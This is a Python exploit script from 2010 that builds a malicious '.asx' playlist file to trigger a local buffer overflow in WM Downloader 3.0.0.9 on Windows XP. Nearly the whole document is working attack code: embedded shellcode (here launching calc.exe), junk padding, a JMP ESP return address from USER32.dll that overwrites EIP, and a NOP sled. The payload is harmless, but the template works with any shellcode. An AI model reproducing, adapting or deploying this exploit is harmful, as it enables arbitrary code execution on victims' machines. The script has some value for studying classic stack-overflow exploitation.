WM Downloader 3.0.0.9 – ‘.asx’ Local Buffer Overflow
#!/usr/bin/python # # Title: WM Downloader 3.0.0.9 (.asx) Local Buffer Overflow # Date: 03-29-2010 # Author: b0telh0 # Tested on: Windows XP SP3 # # windows/exec - 227 bytes # EXITFUNC=process, CMD=calc.exe # shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4" "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09" "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca" "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28" "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a" "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c" "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5" "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16" "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36" "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c" "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19" "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66" "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2" "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b" "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69" "\x5d\xd9"); junk = "\x41" * 26112 eip = "\x53\x93\x37\x7E" # 7E379353 USER32.dll (JMP ESP) nops = "\x90" * 20 junk2 = "\x41" * 3884 try: file = open('b0t.asx','w'); file.write(junk+eip+nops+shellcode+junk2); file.close(); print "\n[+] b0t.asx created." print "[+] Open WmDownloader.exe..." print "[+] and load b0t.asx.\n" except: print "\n[-] Error.. Can't write file to system.\n" |